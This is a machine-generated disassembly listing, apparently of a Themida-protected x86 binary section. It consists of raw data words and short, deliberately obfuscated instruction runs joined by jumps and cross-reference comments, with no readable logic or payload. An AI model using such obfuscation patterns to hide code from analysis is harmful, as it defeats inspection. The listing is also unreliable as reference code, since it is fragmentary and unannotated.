0DA308FB3h dd 637E95Bh, 0C4830000h, 0DAF65904h, 2C38C280h, 53D028D9h dd 8FE9B3B7h, 0E900000Ch, 0FFFFB25Bh, 0E904C483h, 1084h dd 0E904C483h, 4317h, 7C87B6BDh, 5DEA897Fh, 4334F505h dd 17BFE90Ah, 0E9500000h, 44E8h, 0B5240C89h, 88B45001h dd 8005E4C0h, 0C4FEF2CCh, 0ECC0CCFEh, 0CC8CE902h db 2 dup(0FFh) word_58925A dw 8B66h ; DATA XREF: Themida_:00584210o dd 0EC81240Ch, 4, 68241C89h, 1237h, 83242489h, 8B042404h dd 0C483241Ch, 0A8E95104h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58927F: ; CODE XREF: Themida_:0058D61Aj push ebx xchg ebx, [esp] jmp loc_58BC73 ; --------------------------------------------------------------------------- aVs db 'Vé',9,27h,0 align 2 dw 0E1D1h dd 4D49E181h, 0F7492782h, 0F5BB53D1h, 0C17F1048h, 0DBF707EBh dd 3541F381h, 0DBF72BE0h, 2A1B951h, 0CB3121ACh, 0FC50E959h dd 3C33FFFFh, 0B24CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5892C2: ; CODE XREF: Themida_:0058E190j and ecx, ebp mov ebp, [esp] jmp loc_584AEF ; --------------------------------------------------------------------------- dd 53240489h, 0BBCBF57h, 0FB897B07h, 3A46E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5892DE: ; CODE XREF: Themida_:0058E0E9j mov [esp], eax jmp loc_584E49 ; --------------------------------------------------------------------------- dw 4BFh dd 81000000h, 0A3363AC5h, 1FC58111h, 1135164h, 1FED81FDh dd 81135164h, 0A3363AEDh, 243C8B11h, 4C481h, 2C870000h dd 32C7E924h db 2 dup(0) word_589316 dw 8B66h ; DATA XREF: Themida_:005842F4o dd 83572404h, 248904ECh, 0D32CE924h db 2 dup(0FFh) word_589326 dw 8B66h ; DATA XREF: Themida_:005841C8o dd 0AB682404h, 8900006Bh, 0AD682414h, 89000037h, 4812424h dd 424h, 2434FF00h, 30B0E9h, 815A5400h, 4C2h, 4C28100h dd 33000000h, 28E92414h, 0FF00002Dh, 0BFE92434h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_589367: ; CODE XREF: Themida_:005899D8j pop ebp or eax, eax jz loc_59006F push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp push ebx mov ebx, 3D5D00D5h sub ebx, 4DF03724h or ebx, 26C5556Ah jmp loc_58DB0E ; --------------------------------------------------------------------------- db 31h dd 2C33242Ch, 14895C24h, 0B0C9E924h, 0EC83FFFFh, 0BA74E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5893B2: ; CODE XREF: Themida_:00586B8Ej push dword ptr [esp+4] jmp loc_58A452 ; --------------------------------------------------------------------------- db 51h dd 11E6E9h, 33BF5700h, 89020619h, 0D9215FFBh, 15F1815Bh dd 14FD27Dh, 8E2D59C8h, 0E914521Dh, 0FFFFEBD2h, 0C181E189h dd 4, 5A65E9h, 4EC8300h, 0BB241C89h, 5E304C58h, 0A5E9564Bh dd 87000066h, 8B5C2434h, 0C4812404h, 4, 4B60E9h, 0FFFFBE00h dd 0F529FFFFh, 0DEB8505Eh, 0C123911Eh, 0D0E907E8h, 66000008h dd 5324048Bh, 0FAE9E389h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_589433: ; CODE XREF: Themida_:0058BC29j add esi, eax mov eax, [esp] add esp, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] or eax, eax jz loc_58EB11 push dword ptr [edi+1Ch] push 3FE4h mov [esp], edx push ecx jmp loc_58B0C7 ; --------------------------------------------------------------------------- aIiss db 'ˆëé‘:',0 align 4 loc_589464: ; CODE XREF: Themida_:005894ADj pop esi add ebx, 4 xchg ebx, [esp] pop esp shr eax, 0Ah xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp jmp loc_5869D0 ; --------------------------------------------------------------------------- dword_58947C dd 0B60F6664h, 4E9FE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_589486: ; CODE XREF: Themida_:00586092j inc esi not esi sub esi, 0A44193EAh xor edi, esi mov esi, [esp] add esp, 4 xor edi, 0A171E3F3h and eax, edi mov edi, [esp] push ebx mov ebx, esp push esi mov esi, 4 add ebx, esi jmp loc_589464 ; --------------------------------------------------------------------------- loc_5894B2: ; CODE XREF: Themida_:00588EFBj xor edi, ebx pop ebx sub esi, edi mov edi, [esp] add esp, 4 jmp loc_587ED9 ; --------------------------------------------------------------------------- aH51ieySIs1 db 'h51‰eYÁá',8,'Ié1>',0 dd 8BFB0100h, 8952243Ch, 4C281E2h, 0E9000000h, 0FFFFF297h ; --------------------------------------------------------------------------- loc_5894E4: ; CODE XREF: Themida_:00590132j mov eax, [esp] jmp loc_58CF38 ; --------------------------------------------------------------------------- loc_5894EC: ; CODE XREF: Themida_:005865E9j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push 27DBh jmp loc_58CB33 ; --------------------------------------------------------------------------- byte_589503 db 0FFh ; DATA XREF: Themida_:00584198o dd 34FF3C77h, 6CE95824h, 8B000005h, 4292424h, 58E99C24h dd 8BFFFFAFh, 20E9241Ch, 0BF00006Ch, 11CB07DDh, 12D0C781h dd 3AE90CA0h, 61000070h, 38E9C39Dh db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58953B: ; CODE XREF: Themida_:00586624j pop esi jmp loc_58D91F ; --------------------------------------------------------------------------- db 80h, 0EAh, 64h dd 0E280E2D0h, 3E2C0B1h, 0FFD55AE9h, 43A8BDFFh, 0C1450E12h dd 0DDF702E5h, 0F158ED81h, 0EF01C7B6h, 0B7E3E95Dh db 2 dup(0FFh) word_58956A dw 8B66h ; DATA XREF: Themida_:005841DCo dd 7B682404h, 89000004h, 0E389241Ch, 354D68h, 3787E900h dd 4810000h, 424h, 0C3815B00h, 4, 3304C383h, 0D8E9241Ch dd 8100005Bh, 6707FAF6h, 1BE9524Bh, 80FFFFCBh, 80E9D3C3h dd 89FFFFBCh, 0E952241Ch, 29E8h ; --------------------------------------------------------------------------- loc_5895B8: ; CODE XREF: Themida_:00590533j add esi, ecx pop ecx jmp loc_590162 ; --------------------------------------------------------------------------- aIS8 db '‰<$é8',8,0 align 4 loc_5895C8: ; CODE XREF: Themida_:0058D088j push 68C9h jmp loc_58DF1E ; --------------------------------------------------------------------------- word_5895D2 dw 30ACh ; DATA XREF: Themida_:00584290o dd 2EC81D8h, 66000000h, 68241489h, 1703h, 53240C89h, 88A9B551h dd 240C8BEBh, 6BCBE9h, 244C2900h, 815A5904h, 194729C2h dd 0FF15E977h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589606: ; CODE XREF: Themida_:0058D413j add esi, 4 push 7575h mov [esp], edx mov edx, 4 jmp loc_585A75 ; --------------------------------------------------------------------------- dd offset dword_4D677C+15ECh dw 8900h dd 4832424h, 30E90424h, 89000012h, 35BF57E1h, 0E9109A3Fh dd 48FBh, 0EB81EB01h, 51F81789h, 5D2434FFh, 0DCE6E950h dd 335AFFFFh, 0C31240Ch, 6CC2E924h db 2 dup(0) word_58965A dw 77FFh ; DATA XREF: Themida_:005843E8o dd 58669D1Ch, 9C240410h, 0FFAE0AE9h db 0FFh byte_589669 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00584340o dd 0E92434FFh, 60C5h, 0E902C483h, 0FFFFEBA5h dword_58967C dd 0FF2434FFh, 525A2434h, 55E9E289h, 56000012h, 2BEh, 0B22E900h ; DATA XREF: Themida_:005842D0o dd 2C890000h, 2C8B5424h, 4C48324h, 4BF57h, 0DEE90000h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5896AB: ; CODE XREF: Themida_:0058C80Cj mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_58EFBF ; --------------------------------------------------------------------------- db 81h dd 0D84181EEh, 24048B72h, 4C481h, 0BF570000h, 139C5F2Dh dd 5F29EF81h, 0FE01139Ch, 9DBE95Fh, 0BF350000h, 181D124h dd 9DE958C1h, 1FFFFF1h, 1F22DF8h, 55F3914h, 4, 8B240487h dd 0EF812424h, 17C43413h, 0CE63E957h, 0EC83FFFFh, 241C8904h dd 4BA52h, 5B520000h, 0E924148Bh, 2A74h, 112CE981h, 0C15D284Ch dd 0E98102E1h, 2052E032h, 34FFC831h, 54515924h, 4C18159h dd 0E9000000h, 0FFFFE33Bh, 2CC5815Bh, 816A3D3Ch, 0D33FD7C5h dd 81CD014Eh, 0D33FD7EDh, 0DFE9564Eh, 0FF00000Dh, 515A2434h dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFFE3A1h, 0D3F6D5B3h dd 8061EB80h, 0EB80C9EBh, 5BD98822h, 5966CE00h, 508BF680h dd 0CF3468B0h, 0FE04E0C0h, 0E8B753C8h, 0E7C0D7F6h, 95EF8007h dd 50B4E9h, 0EF835D00h, 6C3F6804h, 3C890000h, 2474FF24h dd 48F5F04h, 24248B24h, 89240C89h, 4C181E1h, 57000000h dd 469BE9h, 34FF5D00h, 23685A24h, 89000000h, 58542404h dd 405h, 40500h, 0FF500000h, 58042474h, 8B24048Fh, 3CE92424h dd 59FFFFE8h, 5DE9DE01h, 68FFFFBFh, 3492h, 0BD242C89h dd 0 dd 0EA89D529h, 46BF575Dh, 4F56E912h, 0FFD19BE9h, 5CEE81FFh dd 0C1024D65h, 9DE908E6h, 5600004Fh, 0FFEBBBE9h, 0E9D300FFh dd 0FFFFAF2Ch, 8904EC83h, 0B450240Ch, 3BB6525Dh, 3092F680h dd 0CDE95AF4h, 45000045h, 3834E9h, 0B4E95800h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58985F: ; CODE XREF: Themida_:00585C06j add ebp, esi add ebp, 32C15CCh mov esi, [esp] add esp, 4 xchg ebp, [esp] pop esp jmp loc_585A4B ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 42474FFh, 24048F5Eh, 0F24248Bh, 0E868C8BFh, 89000072h dd 0DCE9240Ch db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589897: ; CODE XREF: Themida_:0058EB0Cj add esp, 4 jmp loc_5865DA ; --------------------------------------------------------------------------- loc_5898A2: ; CODE XREF: Themida_:00586723j pop esi pop dword ptr [esp] jmp loc_58E0E1 ; --------------------------------------------------------------------------- loc_5898AB: ; CODE XREF: Themida_:0058B43Aj mov eax, 3A13495Bh xor ebx, eax mov eax, [esp] add esp, 4 add ebp, ebx push dword ptr [esp] pop ebx add esp, 4 xchg ebp, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_584974 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0FFD05AE9h, 2CD000FFh, 0CDA2E95Eh, 3C33FFFFh, 243C3124h dd 5C243C33h, 68242C89h, 76Fh, 24048F54h, 4240481h, 5D000000h dd 4C581h, 0C5810000h, 4, 31242C33h, 2C33242Ch, 0C4835C24h dd 2434FF04h, 6824048Bh, 68DDh, 68241C89h, 0E0Ah, 614FE9h dd 0FDCF8100h, 8100E71Bh, 133EDC7h, 0CC30E928h db 2 dup(0FFh) word_589946 dw 8B66h ; DATA XREF: Themida_:005843FCo dd 83572404h, 8F5404ECh, 0EC812404h, 4, 1DD4E9h, 2C28300h dd 2474FF52h, 24148B04h, 8F04C483h, 248B2404h, 0F1F76624h dd 32DA68h, 24148900h, 51E08950h, 0BD2311B9h, 8E9C160h dd 4104E1C1h, 0D22DE981h, 0C801060Bh, 4E88359h, 0D51E9h db 0 byte_58999D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005843F0o aS_5 db '$é[^',0 align 2 dw 0EC81h dd 4, 4524E9h, 2E98B900h, 56513E44h, 42474FFh, 24048F5Eh dd 0FFD721E9h db 0FFh ; --------------------------------------------------------------------------- loc_5899C5: ; CODE XREF: Themida_:0058A9F4j xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 80000h and eax, ebp jmp loc_589367 ; --------------------------------------------------------------------------- db 89h, 0E5h, 0E9h dd 1345h, 4C681h, 34870000h, 24248B24h, 57E08950h, 20549BFh dd 45EF8107h, 1070205h, 42D5FF8h, 33000000h, 4312404h dd 24043324h, 2404895Ch, 0BB240481h, 8B50DF29h, 0C4832404h dd 68555104h, 19E31A5Ch, 3DE8E9h, 40C18100h, 0E92DC762h dd 5AAFh ; --------------------------------------------------------------------------- loc_589A38: ; CODE XREF: Themida_:0058782Ej xchg ebx, [esp] pop esp xor [esp], edx xor edx, [esp] xor [esp], edx mov eax, [esp] jmp loc_58BCF1 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 87000000h, 0E95C243Ch, 608Dh, 4C381h, 10E90000h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_589A67: ; CODE XREF: Themida_:005845A3j mov edi, [esp] add esp, 4 add [edi+24h], edx push dword ptr [esp] mov edx, [esp] jmp loc_588B71 ; --------------------------------------------------------------------------- db 68h dd 3DD4h, 89241C89h, 565256E3h, 0FFDC66E9h, 0C1815AFFh dd 2, 0E9240C87h, 36EEh, 0E6C1DEF7h, 14F75604h, 0E6D15E24h dd 85E9D6F7h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589AAF: ; CODE XREF: Themida_:0058CA51j shr edx, 5 shr edx, 1 dec edx xor edx, 2C5C5DFAh push edi mov edi, 2C3213ACh sub edi, 18250481h jmp loc_58A489 ; --------------------------------------------------------------------------- dd 0A9A1E95Ch, 0C15FFFFFh, 0ED8102E5h, 789D77C8h, 0E8E9EE01h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589AE3: ; CODE XREF: Themida_:0058BC0Fj push edx push dword ptr [esp+4] jmp loc_585509 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 51000000h, 0E956E189h, 56A6h, 4BAh, 0FFD30100h, 575A2434h dd 0C781E789h, 4, 4C781h, 0FF570000h, 5F042474h, 0E924048Fh dd 0FFFFF614h, 0D5E9F130h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589B2B: ; CODE XREF: Themida_:0058FEDDj pop ecx push 704Ch mov [esp], edi push 764Dh mov [esp], edx mov edx, 48BE500Dh push ebp mov ebp, 56E5CE5h sub ebp, 315D1B47h and ebp, 0C690874h jmp loc_58CEAF ; --------------------------------------------------------------------------- dd 5C242C87h, 4244401h, 4244481h, 3E5B641Bh, 0FFFCECE9h db 0FFh ; --------------------------------------------------------------------------- loc_589B6D: ; CODE XREF: Themida_:0058C9ADj and ecx, 2BC320CEh sub ecx, 95B4DA55h jmp loc_58B870 ; --------------------------------------------------------------------------- loc_589B7E: ; CODE XREF: Themida_:00588A4Cj xchg ebp, [esp] pop esp movsx cx, al jmp loc_588AAE ; --------------------------------------------------------------------------- loc_589B8B: ; CODE XREF: Themida_:00589FACj mov [esp], eax push edi mov edi, 631653F1h xor edi, 49084C18h sub edi, 1BDE74DFh neg edi add edi, 792F726Ah jmp loc_584EFF ; --------------------------------------------------------------------------- loc_589BAD: ; CODE XREF: Themida_:0058E6D1j add ebp, 7C171F8Fh shr ebp, 4 jmp loc_588568 ; --------------------------------------------------------------------------- loc_589BBB: ; CODE XREF: Themida_:0058C04Bj mov [esp], eax jmp loc_58A8BB ; --------------------------------------------------------------------------- db 5Fh dd 3304C183h, 0F5E9240Ch, 81000057h, 303A8CF7h, 2C37E93Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_589BDA: ; CODE XREF: Themida_:0058FF1Aj add eax, 4 xchg eax, [esp] jmp loc_58D3FA ; --------------------------------------------------------------------------- aYqps8d db 'YQPé8D',0 db 0 byte_589BEF db 0FFh ; DATA XREF: Themida_:005842A4o dd 669D1C77h, 24041858h, 0A875E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589BFE: ; CODE XREF: Themida_:0058C6FAj mov [esp], edi push eax mov eax, 3B890651h jmp loc_58A480 ; --------------------------------------------------------------------------- dd 6B242C81h, 0E97A8D51h, 4F8h ; --------------------------------------------------------------------------- loc_589C18: ; CODE XREF: Themida_:0058840Aj add edx, 4 jmp loc_58FAE1 ; --------------------------------------------------------------------------- db 5Ch dd 457FAD2Dh, 0D47AE972h, 0C680FFFFh, 0AAC680C0h, 66F0005Bh dd 5324148Bh, 0C381E389h, 4, 8702C383h, 805C241Ch, 0B05007EBh dd 0F0BBE9E7h, 0BB53FFFFh, 2, 335BDE01h, 0E0E92434h, 0FE000063h dd 7DE980C9h, 6859C828h, 21EBh, 0FFF5C7E9h, 5FFE89FFh dd 4247431h, 5624348Bh, 24348B54h, 8104C483h, 4C6h, 4C68300h dd 0FFF766E9h, 4EC81FFh, 0E9000000h, 0FFFFF91Ch, 5504C483h dd 292F47BDh, 0C1E5D16Dh, 0F58104E5h, 0B356720h, 1EE9D5F7h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589CBF: ; CODE XREF: Themida_:0058FB6Ej mov [esp], esi mov esi, 437F344Ah xor ebx, esi mov esi, [esp] jmp loc_587075 ; --------------------------------------------------------------------------- loc_589CD1: ; CODE XREF: Themida_:00587868j sub ebp, 66713B30h shl ebp, 2 xor ebp, 0E79A1593h mov ecx, ebp push dword ptr [esp] pop ebp add esp, 4 and ecx, 276A7B5Ch jmp loc_590308 ; --------------------------------------------------------------------------- db 5 dd 2BEB09EFh, 0F2AD6F35h, 8BC53125h, 0C4812404h, 4, 3740EE81h dd 0EE010B92h, 1F88E9h, 5BDE3100h, 3B69BA52h, 0D6011DB5h dd 0E9F5015Ah, 0FFFFF3B0h ; --------------------------------------------------------------------------- loc_589D2C: ; CODE XREF: Themida_:00590433j add esp, 4 push edx mov edx, esp jmp loc_58CF55 ; --------------------------------------------------------------------------- db 54h dd 0FFBCDFE9h, 0A731E9FFh, 2489FFFFh, 24048124h, 4, 5124048Fh dd 4B9h, 244C0100h, 1C8B5904h, 4C48324h, 8685350h, 5B7F4044h dd 1DD2F381h, 0D8893F60h, 8E8C15Bh, 200CE9h db 0 ; --------------------------------------------------------------------------- loc_589D79: ; CODE XREF: Themida_:00587A17j mov [esp], ecx jmp loc_5904D6 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0F5BFE952h, 5304FFFFh, 5F56E9h, 0CD5BE00h, 8DE91E67h dd 83FFFFDCh, 0C38104C4h, 4, 4BD55h, 0BE560000h, 675B7C64h dd 1256E9h, 24148B00h, 0FFBB31E9h, 0E83058FFh, 592434FFh dd 54EE9h, 241C8B00h, 0E904C483h, 0FFFFB97Eh ; --------------------------------------------------------------------------- loc_589DD4: ; CODE XREF: Themida_:0058F485j mov edx, 4 add ecx, edx jmp loc_58FCFA ; --------------------------------------------------------------------------- dd 49E9D1F7h, 8100002Bh, 0EE0EF8C1h, 0E9CA8907h, 0FFFFCCF2h dd 241CF650h, 0E90F3458h, 51B5h, 42474FFh, 24048F5Fh, 8124248Bh dd 4C4h, 68F1F700h, 3ECCh, 50241489h, 0A651E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589E22: ; CODE XREF: Themida_:0058758Aj mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_58FCAE ; --------------------------------------------------------------------------- loc_589E33: ; CODE XREF: Themida_:0058C5F3j sub esp, 4 mov [esp], ecx mov ecx, 1 push eax sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 34600664h mov eax, 34600688h sub eax, ecx pop ecx sub eax, 6C3542B4h add eax, edi push 6026h mov [esp], esi mov esi, 5B377309h sub esi, 1EC65B0Eh sub esi, 0D03BD547h add eax, esi pop esi add [eax], ecx jmp loc_5882B8 ; --------------------------------------------------------------------------- aRsD db 'Ré¼D',0 align 4 dd 148BD501h, 1F4AE924h, 0C7FE0000h, 0DBEF80h, 34FF5BF8h dd 0C4835A24h, 6B45004h, 0B5EB80h, 528AE9E3h, 0B3350000h dd 48661A0Fh, 0A349B72Dh, 58C601F2h, 0E9F30159h, 1053h dd 240C8B54h, 4C481h, 68560000h, 28346369h, 3E6C15Eh, 0FFF6AEE9h dd 5DEB89FFh, 0FFB9C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_589EF5: ; CODE XREF: Themida_:005901E7j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx jmp loc_59014B ; --------------------------------------------------------------------------- dd 7F6C64BEh, 5EF101E4h, 159CD89h, 0C7815DEFh, 2, 31243C33h dd 78E9243Ch, 100000Ah, 0F65E9D0h, 0C3FE0000h, 0DBF6CBFEh dd 0F380E3D0h, 5BD800D1h, 24BAE9h db 0 ; --------------------------------------------------------------------------- loc_589F4D: ; CODE XREF: Themida_:0058EF25j pop ecx mov ebx, esi pop esi add ebx, 0ECF3B5B7h add edx, ebx pop ebx push 7765h mov [esp], ecx mov ecx, 4 add edx, ecx pop ecx xchg edx, [esp] jmp loc_58D499 ; --------------------------------------------------------------------------- loc_589F72: ; CODE XREF: Themida_:00585275j neg ebp not ebp neg ebp jmp loc_585828 ; --------------------------------------------------------------------------- db 5Dh, 8Fh, 4 aHlm db '$\hlm',0 dw 8900h dd 0E4E92404h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589F8F: ; CODE XREF: Themida_:00587914j pop eax sub eax, 2C861353h push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 shl eax, cl push ebp push 6B39h jmp loc_589B8B ; --------------------------------------------------------------------------- loc_589FB1: ; CODE XREF: Themida_:0058FC9Aj sub edi, edx sub edi, 1BF67C3Ch push dword ptr [esp] pop edx jmp loc_584554 ; --------------------------------------------------------------------------- loc_589FC2: ; CODE XREF: Themida_:0058BF4Ej sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] jmp loc_58BC41 ; --------------------------------------------------------------------------- loc_589FE1: ; CODE XREF: Themida_:0058B3E5j xor dl, bl jmp loc_58B0BB ; --------------------------------------------------------------------------- dd 5C243C33h, 3C8BFE21h, 4C48324h, 0EE81D6F7h, 0B62EB4B2h dd 575EF031h, 26F9E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A006: ; CODE XREF: Themida_:0058DD8Bj pop eax jmp loc_58D3B7 ; --------------------------------------------------------------------------- loc_58A00C: ; CODE XREF: Themida_:00586B25j mov eax, 3FCB4CADh neg eax jmp loc_5852A0 ; --------------------------------------------------------------------------- dd 0FFA456E9h, 4C381FFh, 87000000h, 248B241Ch, 2404FF24h dd 0A441E99Ch, 0FA29FFFFh, 3CBCB850h, 0C229461Fh, 0B9515F58h dd 5BFF2C33h, 0AA24E941h db 2 dup(0FFh) word_58A04A dw 32FFh ; DATA XREF: Themida_:00584410o dd 0FFA422E9h, 0E28952FFh, 5C29E9h, 86E95D00h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A05F: ; CODE XREF: Themida_:0058A68Cj pop esp mov [esp], ebx mov bh, al push eax push edi jmp loc_58A789 ; --------------------------------------------------------------------------- dd 4EE81h, 34870000h, 24248B24h, 0E9240C89h, 585Bh, 4C48158h dd 53000000h, 526666B7h, 51BFE9h, 4C38100h, 83000000h dd 1C8704EBh, 24248B24h, 68241489h, 1461h, 62C68h, 0B7A8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A0B2: ; CODE XREF: Themida_:005862B2j xor eax, edi jmp loc_58A17D ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 33243431h, 248B2434h, 24048B24h, 26A568h, 24148900h dd 0BE565A54h, 4, 6D5468h, 242C8900h, 0C865AABDh, 0E9EA2916h dd 2B0Ah, 56241C8Bh, 36FBE9h, 0C7A6800h, 0C890000h, 50A1B124h dd 29ACE9h db 0 ; --------------------------------------------------------------------------- loc_58A105: ; CODE XREF: Themida_:0058ED11j push edi mov edi, 4 jmp loc_5900E1 ; --------------------------------------------------------------------------- dd 81008Fh, 7A8D516Bh, 0E92434FFh, 0AB7h, 0C281E289h, 4 dd 4EC81h, 34890000h, 4BE24h, 0F2010000h, 74FF525Eh, 8F5A0424h dd 2AE92404h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_59075E ; --------------------------------------------------------------------------- byte_58A14F db 66h ; DATA XREF: Themida_:00584218o dd 0E924048Bh, 5569h, 0EF8006B7h, 66D7F601h, 66373268h dd 0B0240489h, 66C708C0h, 5724048Bh, 0C781E789h, 4, 0FFA89EE9h db 0FFh ; --------------------------------------------------------------------------- loc_58A17D: ; CODE XREF: Themida_:0058A0B4j xor edi, eax push eax not dword ptr [esp] pop eax xchg eax, edi sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_588F72 ; --------------------------------------------------------------------------- dd 0A5E9D989h, 81FFFFF5h, 42404h, 0E95B0000h, 0FFFFAA65h dword_58A1AC dd 9BF57ADh, 0E9320F1Ch, 2490h, 253EEA81h, 7AE9626Ch, 89000042h ; DATA XREF: Themida_:005843D0o dd 0BA52243Ch, 333815EEh, 0E21710BFh, 8BD7312Fh, 0EC832414h dd 243C8904h, 243C8B54h, 0FFD0A3E9h, 90C781FFh, 0E9386040h dd 626Eh, 0C181E189h, 4, 3AFBE9h, 8B515D00h, 0C481243Ch dd 4, 43B85059h, 89415406h, 0F90158C1h, 0E9243C8Bh, 0CE3h dd 0C070C480h, 0C48003E4h, 58E10852h, 66C8E180h, 2846B652h dd 0E95A66F1h, 0FFFFE44Fh ; --------------------------------------------------------------------------- loc_58A238: ; CODE XREF: Themida_:0058AB5Aj pop edi jmp loc_58FFD9 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 4C481h, 0C4830000h, 0E2895204h, 17E9E9h db 0 ; --------------------------------------------------------------------------- loc_58A255: ; CODE XREF: Themida_:0058582Ej sub ebp, 0CFDAF15Ah push ebp pop ebx pop ebp shl ebx, 5 neg ebx neg ebx push 75E6h mov [esp], ebx not dword ptr [esp] pop ebx shr ebx, 5 sub ebx, 0F7A78D81h xor ebp, ebx pop ebx push ebp jmp loc_58790D ; --------------------------------------------------------------------------- db 89h dd 61682434h, 5E741D45h, 874BDE87h, 3DF681DEh, 893B6843h dd 0F7E95EF1h, 0E9FFFFB9h, 0FFFFA1CFh, 5C243487h, 4AB0F66h dd 0C0E99C24h db 0A1h, 2 dup(0FFh) byte_58A2B3 db 0FFh ; DATA XREF: Themida_:00584330o dd 0C6E92434h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A2BB: ; CODE XREF: Themida_:00587E10j pop esi jmp loc_58C060 ; --------------------------------------------------------------------------- byte_58A2C1 db 0ADh, 57h, 83h ; DATA XREF: Themida_:005841E0o dd 0C8904ECh, 7182B924h, 5F516607h, 592434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, 1FE57EDDh sub ecx, 1FE57EDCh sub edi, ecx pop ecx shr edi, 8 shl edi, 8 add edi, 0DB73D906h add esi, 247155CAh sub esi, edi jmp loc_58D7DC ; --------------------------------------------------------------------------- dd 8077B252h, 50E9E5C2h, 81FFFFC3h, 4ECh, 24348900h, 0BA525E54h dd 4C933311h, 0EA814A42h, 40EF74FBh, 26A0E9h db 0 byte_58A335 db 50h, 0E9h, 19h ; DATA XREF: Themida_:00584278o dd 5FFFFFD2h, 24348757h, 3487D6F7h, 0E649E924h, 6B68FFFFh dd 0E900002Bh, 4ABDh, 3304C483h, 1C31241Ch, 241C3324h dd 48B665Ch, 4EC8124h, 89000000h, 89522414h, 4C281E2h dd 0E9000000h, 0FFFFDE31h ; --------------------------------------------------------------------------- loc_58A37C: ; CODE XREF: Themida_:0058C788j xor [esp], ebx xor ebx, [esp] xor [esp], ebx push dword ptr [esp] pop eax add esp, 4 jmp loc_585C0B ; --------------------------------------------------------------------------- db 31h, 0C3h, 0E9h dd 5D13h, 0D3F7D3F7h, 0C381D3F7h, 8DB1DBCh, 815BDD31h dd 0F62B68EDh, 0B2ED8165h, 19DD6EBh, 14875DEAh, 24248B24h dd 68C8B70Fh, 74E9h, 0E9240C89h, 0FFFFA0A7h, 0E924148Bh dd 0FFFFA3C8h, 0A2DD829h, 503A815h, 65662318h, 0F5685651h dd 5E0FF97Ch, 457AE9h db 0 ; --------------------------------------------------------------------------- loc_58A3ED: ; CODE XREF: Themida_:0058D154j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58DC9F ; --------------------------------------------------------------------------- dw 565Fh dd 934F6BBEh, 6FF68137h, 5337934Fh, 8B05C668h, 241C8B74h dd 6073E9h, 4FCEBB00h, 0F74369ACh, 318E9D3h, 0F660000h dd 9468C8B6h, 0E9000015h, 0B11h, 0FFA03AE9h, 43166FFh dd 43E99C24h db 32h, 2 dup(0) byte_58A443 db 66h ; DATA XREF: Themida_:00584208o dd 0E9240C8Bh, 0FFFFCBEDh, 768E94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A452: ; CODE XREF: Themida_:005893B6j pop edi jmp loc_585FC6 ; --------------------------------------------------------------------------- dd 2BD55h, 0EB810000h, 7A755C0h, 0C381EB01h, 7A755C0h dd 0FFC23EE9h, 242C89FFh, 0FFD696E9h db 0FFh ; --------------------------------------------------------------------------- loc_58A479: ; CODE XREF: Themida_:0058B2B9j or edi, esi jmp loc_58DD58 ; --------------------------------------------------------------------------- loc_58A480: ; CODE XREF: Themida_:00589C07j mov edi, eax pop eax push esi 